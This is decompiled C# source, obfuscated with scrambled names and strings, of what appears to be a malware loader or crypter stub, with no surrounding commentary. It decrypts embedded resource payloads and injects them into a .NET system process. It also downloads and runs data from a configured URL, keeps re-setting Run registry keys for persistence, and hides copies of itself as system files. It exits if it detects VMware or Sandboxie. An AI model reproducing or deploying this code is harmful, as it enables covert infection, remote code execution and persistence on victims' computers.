this.Q5aj14jzmb5gozvrp = strArray2[3];
|
||||
this.Sqsgcrexehem0lg3mionbxiuw = Convert.ToInt32(strArray3[1]);
|
||||
this.Qeujo4xlzlmqxzlwt = strArray3[2];
|
||||
this.N4rfcpacyzvdyb5o5pseuwja0 = strArray3[3];
|
||||
this.ovvhzz3v4t0lncqhc = strArray3[4];
|
||||
this.hpyhkefmdy2fikaqvpxkxke4zwemgdqgs = strArray3[5];
|
||||
this.Yu13rcd5iimiqemzz = strArray3[6];
|
||||
this.Ouyjahe11vseyu1gc = strArray3[7];
|
||||
this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe = strArray3[8];
|
||||
this.wlzgy5x503ocrxvto = strArray3[9];
|
||||
this.mlzo2db1vixlaay2xx3qm1uh1 = strArray3[10];
|
||||
this.Ifbnriw30u3zqko1o = strArray3[11];
|
||||
this.O52jpa3c1kjywan03 = this.bxmgxqvn0tzn2pwdo5ezgxkdh(strArray3[12]);
|
||||
this.aebl4g0r22vys142j542rkxik = strArray3[13];
|
||||
this.Pi5xwja3tpz1vyvxe0bvaszsw = strArray3[14];
|
||||
this.W0igi2snxiuevrujvdeszp1bxkguemxod = strArray3[15];
|
||||
this.Zx2ycojwb320y2n31 = Convert.ToBoolean(strArray3[16]);
|
||||
this.Kbkqxyuop35q5nercdcrjitsn = Convert.ToBoolean(strArray3[17]);
|
||||
this.Ueczuk1jlbi3nbg5x2h1wuon0 = this.yti5olupwaivlclet(strArray3[18]) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + Path.GetRandomFileName();
|
||||
this.Osbrxysckqx0aqx1lzguqifvs = strArray3[19];
|
||||
this.Ne4uiww2g1iuhqrgv = strArray3[20];
|
||||
this.Ueczuk1jlbi3nbg5x2h1wuon0 = this.Ueczuk1jlbi3nbg5x2h1wuon0.Substring(0, this.Ueczuk1jlbi3nbg5x2h1wuon0.Length - 4) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss(".xee");
|
||||
Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System));
|
||||
switch (this.Ne4uiww2g1iuhqrgv)
|
||||
{
|
||||
case "0":
|
||||
try
|
||||
{
|
||||
this.Ne4uiww2g1iuhqrgv = IntPtr.Size != 4 ? Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr6\\20577vceeMcootNTFaeok4v..02\\b.x") : Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr\\20577vceeMcootNTFaeokv..02\\b.x");
|
||||
break;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
break;
|
||||
}
|
||||
case "1":
|
||||
this.Ne4uiww2g1iuhqrgv = Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr\\20577cceeMcootNTFaeokv..02\\s.x");
|
||||
break;
|
||||
}
|
||||
this.waiw3pzzuvdgyn5dx3idhqwhncujkp40q = Convert.ToBoolean(strArray4[1]);
|
||||
this.upzpncz1hdeloi5k3rlq4a14w = strArray4[2];
|
||||
this.ogs5wi51r3m1bqoyn = strArray4[3];
|
||||
this.Fl1t0wgsikf4mpxykcardit3b = strArray4[4];
|
||||
this.Abfzh2zlzdzdgmqoqnumemerp = strArray4[5];
|
||||
this.etx2nx1n4akedmv4fu2mqzcc0 = Convert.ToBoolean(strArray4[6]);
|
||||
this.Dwfbus3rr2dghn14mxukem4jr = Convert.ToBoolean(strArray4[7]);
|
||||
this.Bm3illttk5nwmenvbn3jbmios = Convert.ToBoolean(strArray4[8]);
|
||||
this.s1rnoof103dimlt4vbd0kazwizm4euy4s = Convert.ToBoolean(strArray4[9]);
|
||||
this.Fl1t0wgsikf4mpxykcardit3b = this.yti5olupwaivlclet(this.Fl1t0wgsikf4mpxykcardit3b);
|
||||
MessageBoxButtons[] messageBoxButtonsArray = new MessageBoxButtons[6]
|
||||
{
|
||||
MessageBoxButtons.OK,
|
||||
MessageBoxButtons.OKCancel,
|
||||
MessageBoxButtons.YesNo,
|
||||
MessageBoxButtons.YesNoCancel,
|
||||
MessageBoxButtons.RetryCancel,
|
||||
MessageBoxButtons.AbortRetryIgnore
|
||||
};
|
||||
MessageBoxIcon[] messageBoxIconArray = new MessageBoxIcon[5]
|
||||
{
|
||||
MessageBoxIcon.Hand,
|
||||
MessageBoxIcon.Asterisk,
|
||||
MessageBoxIcon.Question,
|
||||
MessageBoxIcon.Exclamation,
|
||||
MessageBoxIcon.None
|
||||
};
|
||||
if (!(this.Cllbarbs03nsn03hk0bknvl3n == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1")))
|
||||
return;
|
||||
Thread.Sleep(this.Hgmfkbt4atcy55dirqkgtdkb5 * 1000);
|
||||
int num = (int) MessageBox.Show(this.fzeil4ihxre2gqh3ygpyffp15, this.qw2lxynmeozut0doo, messageBoxButtonsArray[this.I12ss4uzgimbzl5qa], messageBoxIconArray[this.dluh54iqwipbeun4nsizlk3foyfinw5wt]);
|
||||
}
|
||||
|
||||
private byte[] T20r4skkjzxet5xxndjdxm23nq1de3ste(
|
||||
byte[] j53vpo23pks1sawtewkqd4g3v,
|
||||
int wtxw3dfyzvb2m5edzmygxag3t)
|
||||
{
|
||||
GZipStream gzipStream = new GZipStream((Stream) new MemoryStream(j53vpo23pks1sawtewkqd4g3v), CompressionMode.Decompress);
|
||||
byte[] buffer = new byte[wtxw3dfyzvb2m5edzmygxag3t];
|
||||
gzipStream.Read(buffer, 0, buffer.Length);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
private object Ceyweulgsxaof4hwmnwokglbk(int mn0yawr33ammr4eax42s3tcgr)
|
||||
{
|
||||
Assembly assembly = Assembly.Load(Zgyvqmp0xpqwooihm.Rhjia2qmjg1uefwsxroduqr0s(Xcpjaqmaubj2y0o3n.q1cagpbvwn04kmqyi(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("rnEdluP.l"))));
|
||||
Thread.Sleep(1000);
|
||||
System.Type type = assembly.GetTypes()[mn0yawr33ammr4eax42s3tcgr];
|
||||
this.Fau0pig3abdcym2njphkzgkxl = type.GetMethod(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Rnu"));
|
||||
return Activator.CreateInstance(type);
|
||||
}
|
||||
|
||||
private void persistenceStartup(
|
||||
string Ymom4ixsncavvmzwlpzsuuw3j,
|
||||
string oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie,
|
||||
string Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x)
|
||||
{
|
||||
Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true);
|
||||
bool flag = true;
|
||||
while (flag)
|
||||
{
|
||||
Application.DoEvents();
|
||||
if (registryKey.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\a1adcpdsq0gn123io4m1f55gxptbkhd2e")) == null)
|
||||
registryKey.SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
Thread.Sleep(2000);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] P2dz552iekyo3s3by(byte[] xkcps1zic2cskbd1y)
|
||||
{
|
||||
if (this.Dx4pxl4hlvcwokaeq == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("xro"))
|
||||
xkcps1zic2cskbd1y = Zgyvqmp0xpqwooihm.Rhjia2qmjg1uefwsxroduqr0s(xkcps1zic2cskbd1y);
|
||||
return xkcps1zic2cskbd1y;
|
||||
}
|
||||
|
||||
private void fyld3x5pir2kaoksligurapzj(byte[] Cplqgntbylcl1knxmqpm2hjar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.ogs5wi51r3m1bqoyn == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0"))
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!this.Qhlb0achfvgjxeekj(Cplqgntbylcl1knxmqpm2hjar))
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) Cplqgntbylcl1knxmqpm2hjar,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
null
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
string tempFileName = Path.GetTempFileName();
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(Cplqgntbylcl1knxmqpm2hjar, tempFileName, true);
|
||||
}
|
||||
}
|
||||
if (!(this.ogs5wi51r3m1bqoyn == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1")))
|
||||
return;
|
||||
string str = this.Fl1t0wgsikf4mpxykcardit3b + this.Abfzh2zlzdzdgmqoqnumemerp;
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(Cplqgntbylcl1knxmqpm2hjar, str, true);
|
||||
if (this.etx2nx1n4akedmv4fu2mqzcc0)
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
|
||||
if (this.Dwfbus3rr2dghn14mxukem4jr)
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
|
||||
if (!this.Bm3illttk5nwmenvbn3jbmios)
|
||||
return;
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private bool Qhlb0achfvgjxeekj(byte[] Zq0k51bndsjftafxi)
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.ooaqlrxjthzq5ykyeqamxwsxh(Zq0k51bndsjftafxi);
|
||||
bool vyydwy2dzohvetixn = Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn;
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = true;
|
||||
return vyydwy2dzohvetixn;
|
||||
}
|
||||
|
||||
private void Xu4noszs2jndqy0uakulzk0hj(
|
||||
byte[] iz1q112gcqzev5oqr,
|
||||
string Dutorh5b0eqbkqejp,
|
||||
bool Fc4ucvsrmmkck30rx)
|
||||
{
|
||||
try
|
||||
{
|
||||
System.IO.File.WriteAllBytes(Dutorh5b0eqbkqejp, iz1q112gcqzev5oqr);
|
||||
if (!Fc4ucvsrmmkck30rx)
|
||||
return;
|
||||
new Process()
|
||||
{
|
||||
StartInfo = {
|
||||
FileName = Dutorh5b0eqbkqejp
|
||||
}
|
||||
}.Start();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] idbm12rhs0k0m25by(
|
||||
string V3ih4ivpcexzrkelfjctk5bov,
|
||||
int Wi2vtkb2qd4j53iy5fbdxtgmp,
|
||||
string k0vs32obabddwwiqnt4br14zo)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr hModule = Mvsaeg2eeoaqx3utk.cz23ictx0pf1xcpsqzxf3ue5fsjhmn3fi(string.Empty);
|
||||
IntPtr hResInfo = Mvsaeg2eeoaqx3utk.Nyja0dryfvflph11ok4ga5zpz(hModule, Wi2vtkb2qd4j53iy5fbdxtgmp, k0vs32obabddwwiqnt4br14zo);
|
||||
uint length = Mvsaeg2eeoaqx3utk.Wy3i4lea5jxu3fiu1mt0jbvl4gefufsn2(hModule, hResInfo);
|
||||
IntPtr source = Mvsaeg2eeoaqx3utk.Xpo3aq0mxqyvzr1zld5qguuzg(hModule, hResInfo);
|
||||
byte[] destination = new byte[(IntPtr) length];
|
||||
Marshal.Copy(source, destination, 0, (int) length);
|
||||
return destination;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errraigrsuc:ro edn eore ") + Environment.NewLine + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errcd:ro oe ") + ex.Message);
|
||||
return (byte[]) null;
|
||||
}
|
||||
}
|
||||
|
||||
private void Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(
|
||||
string Ymom4ixsncavvmzwlpzsuuw3j,
|
||||
string oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie,
|
||||
string Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x,
|
||||
int lglb5oxkofx5lhfsdpmd3oohjsw1nlznk)
|
||||
{
|
||||
this.n2gipyxzj1jd3ijqb = true;
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk == 1)
|
||||
Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk == 2)
|
||||
Registry.LocalMachine.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk != 3)
|
||||
return;
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie);
|
||||
subKey.SetValue(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SuPttbah"), (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
subKey.Close();
|
||||
if (Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, true) == null)
|
||||
return;
|
||||
Registry.CurrentUser.DeleteSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, false);
|
||||
}
|
||||
|
||||
private string bxmgxqvn0tzn2pwdo5ezgxkdh(string Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3)
|
||||
{
|
||||
string str = string.Empty;
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0"))
|
||||
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
str = Path.GetTempPath();
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("2"))
|
||||
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
return str;
|
||||
}
|
||||
|
||||
public void bocln5xhicnup1rlmeg3v0wq5fq30ikg2()
|
||||
{
|
||||
string executablePath = Application.ExecutablePath;
|
||||
try
|
||||
{
|
||||
this.xpjiguggif5df23oi(rzo4euwupytyapwx03g5pnbwx.trdpamic2sckcdwunnjaiq5ctjzbh44ol(this.idbm12rhs0k0m25by(executablePath, 16, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("CCSI0IZJHGS1OVNFRTEN3VJ02"))));
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.idbm12rhs0k0m25by(executablePath, 44, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("BUEVDVEHTVBYWB1VY0OFU1FDB"));
|
||||
if (this.Qeujo4xlzlmqxzlwt == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.T20r4skkjzxet5xxndjdxm23nq1de3ste(this.Xvzsy20ikq50fiuzzzsw14i22, this.Sqsgcrexehem0lg3mionbxiuw);
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.P2dz552iekyo3s3by(this.Xvzsy20ikq50fiuzzzsw14i22);
|
||||
if (!this.Zx2ycojwb320y2n31)
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) this.Xvzsy20ikq50fiuzzzsw14i22,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
(object) Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("")
|
||||
});
|
||||
}
|
||||
else
|
||||
this.Qhlb0achfvgjxeekj(this.Xvzsy20ikq50fiuzzzsw14i22);
|
||||
if (this.Kbkqxyuop35q5nercdcrjitsn)
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(this.Xvzsy20ikq50fiuzzzsw14i22, this.Ueczuk1jlbi3nbg5x2h1wuon0, true);
|
||||
string str;
|
||||
if (!string.IsNullOrEmpty(this.Osbrxysckqx0aqx1lzguqifvs))
|
||||
{
|
||||
str = this.O52jpa3c1kjywan03 + this.Osbrxysckqx0aqx1lzguqifvs + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + this.Ifbnriw30u3zqko1o;
|
||||
Directory.CreateDirectory(this.O52jpa3c1kjywan03 + this.Osbrxysckqx0aqx1lzguqifvs);
|
||||
}
|
||||
else
|
||||
str = this.O52jpa3c1kjywan03 + this.Ifbnriw30u3zqko1o;
|
||||
if (this.N4rfcpacyzvdyb5o5pseuwja0 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Yu13rcd5iimiqemzz, this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe, str, 1);
|
||||
if (this.ovvhzz3v4t0lncqhc == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Yu13rcd5iimiqemzz, this.wlzgy5x503ocrxvto, str, 2);
|
||||
if (this.hpyhkefmdy2fikaqvpxkxke4zwemgdqgs == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Ouyjahe11vseyu1gc, this.mlzo2db1vixlaay2xx3qm1uh1, str, 3);
|
||||
if (this.n2gipyxzj1jd3ijqb)
|
||||
{
|
||||
byte[] bytes = System.IO.File.ReadAllBytes(Application.ExecutablePath);
|
||||
if (!System.IO.File.Exists(str))
|
||||
System.IO.File.WriteAllBytes(str, bytes);
|
||||
if (System.IO.File.Exists(str))
|
||||
{
|
||||
if (this.aebl4g0r22vys142j542rkxik == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
|
||||
if (this.Pi5xwja3tpz1vyvxe0bvaszsw == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
|
||||
if (this.W0igi2snxiuevrujvdeszp1bxkguemxod == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
|
||||
}
|
||||
}
|
||||
this.ulry4uhtwnw50g04z(rzo4euwupytyapwx03g5pnbwx.trdpamic2sckcdwunnjaiq5ctjzbh44ol(this.idbm12rhs0k0m25by(executablePath, 47, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("AHAAJWFXQRWK55DBF5CZOY25NAJ1XU0TF"))));
|
||||
if (this.waiw3pzzuvdgyn5dx3idhqwhncujkp40q)
|
||||
this.fyld3x5pir2kaoksligurapzj(new WebClient().DownloadData(new Uri(this.upzpncz1hdeloi5k3rlq4a14w)));
|
||||
this.persistenceStartup(this.Yu13rcd5iimiqemzz, this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe, str);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void pq0wico5ukmaxyfwlssnrl0r1nqartkt4(object Qilit4odml3450ffdduw5begg)
|
||||
{
|
||||
try
|
||||
{
|
||||
MethodInfo entryPoint = Assembly.Load((byte[]) Qilit4odml3450ffdduw5begg).EntryPoint;
|
||||
if (entryPoint.GetParameters().Length == 1)
|
||||
entryPoint.Invoke((object) null, new object[1]
|
||||
{
|
||||
(object) new string[0]
|
||||
});
|
||||
else
|
||||
entryPoint.Invoke((object) null, (object[]) null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = false;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] q1cagpbvwn04kmqyi(string lhs5nwmsu4p3h3rgf)
|
||||
{
|
||||
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(lhs5nwmsu4p3h3rgf))
|
||||
{
|
||||
byte[] buffer = new byte[1024];
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
|
||||
if (count > 0)
|
||||
memoryStream.Write(buffer, 0, count);
|
||||
else
|
||||
break;
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
string empty = string.Empty;
|
||||
foreach (ManagementBaseObject instance in new ManagementClass(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Wn2Boi3_is")).GetInstances())
|
||||
{
|
||||
if (instance.Properties[Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Sranmeeilubr")].Value.ToString().Trim().ToLower().IndexOf(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("vwrmae")) > -1)
|
||||
{
|
||||
int num = (int) MessageBox.Show(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ti plcto antb u navrulmcieevrnethsapiaincno erni ita ahn niomn."), Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("VrulMcieDtceita ahn eetd"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
if (Xcpjaqmaubj2y0o3n.GetModuleHandle(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SiDldlbel.l")).ToInt32() != 0)
|
||||
{
|
||||
int num = (int) MessageBox.Show(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ti plcto antb u naSnbxeevrnethsapiaincno erni adoi niomn."), Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SnbxeDtceadoi eetd"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
new Xcpjaqmaubj2y0o3n().bocln5xhicnup1rlmeg3v0wq5fq30ikg2();
|
||||
}
|
||||
|
||||
private void ulry4uhtwnw50g04z(string xkcps1zic2cskbd1y)
|
||||
{
|
||||
string[] separator1 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Qslygidk2ydujmodz1hnjxa40is244mdu")
|
||||
};
|
||||
string[] separator2 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("swmnvnjfto3vjpznbcurldfzy")
|
||||
};
|
||||
string[] strArray1 = xkcps1zic2cskbd1y.Split(separator1, StringSplitOptions.None);
|
||||
string empty1 = string.Empty;
|
||||
string empty2 = string.Empty;
|
||||
string empty3 = string.Empty;
|
||||
for (int index = 1; index < strArray1.GetUpperBound(0); ++index)
|
||||
{
|
||||
string[] strArray2 = strArray1[index].Split(separator2, StringSplitOptions.None);
|
||||
byte[] numArray = rzo4euwupytyapwx03g5pnbwx.fuwrggsyeop321rci(strArray2[1]);
|
||||
string str1 = strArray2[2];
|
||||
bool boolean1 = Convert.ToBoolean(strArray2[3]);
|
||||
string Ibpa121djgybg55fkysgepjc0y2qiasb2 = strArray2[4];
|
||||
bool boolean2 = Convert.ToBoolean(strArray2[5]);
|
||||
bool boolean3 = Convert.ToBoolean(strArray2[6]);
|
||||
int int32 = Convert.ToInt32(strArray2[7]);
|
||||
bool boolean4 = Convert.ToBoolean(strArray2[8]);
|
||||
string str2 = this.yti5olupwaivlclet(Ibpa121djgybg55fkysgepjc0y2qiasb2);
|
||||
if (boolean1)
|
||||
{
|
||||
if (boolean3)
|
||||
numArray = this.T20r4skkjzxet5xxndjdxm23nq1de3ste(numArray, int32);
|
||||
if (boolean2)
|
||||
numArray = this.P2dz552iekyo3s3by(numArray);
|
||||
if (!boolean4)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) numArray,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
null
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errijcigbudfl nommr:ro netn on ieit eoy ") + Environment.NewLine + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errcd:ro oe ") + ex.Message);
|
||||
}
|
||||
}
|
||||
else if (!this.Qhlb0achfvgjxeekj(numArray))
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errijcigbudfl sn elcin ro netn on ieuigrfeto:"));
|
||||
}
|
||||
else
|
||||
{
|
||||
string Dutorh5b0eqbkqejp = str2 + str1;
|
||||
if (boolean2)
|
||||
numArray = this.P2dz552iekyo3s3by(numArray);
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(numArray, Dutorh5b0eqbkqejp, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void ooaqlrxjthzq5ykyeqamxwsxh(byte[] Amqk5npffix20x5qn5x2vnb3b)
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Xcpjaqmaubj2y0o3n.pq0wico5ukmaxyfwlssnrl0r1nqartkt4));
|
||||
thread.SetApartmentState(ApartmentState.STA);
|
||||
thread.Start((object) Amqk5npffix20x5qn5x2vnb3b);
|
||||
thread.Join();
|
||||
}
|
||||
catch
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = false;
|
||||
}
|
||||
}
|
||||
|
||||
private string yti5olupwaivlclet(string Ibpa121djgybg55fkysgepjc0y2qiasb2)
|
||||
{
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("ApiainPtplcto ah"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Application.StartupPath + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Tmep"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Path.GetTempPath();
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("ApaapDt"))
|
||||
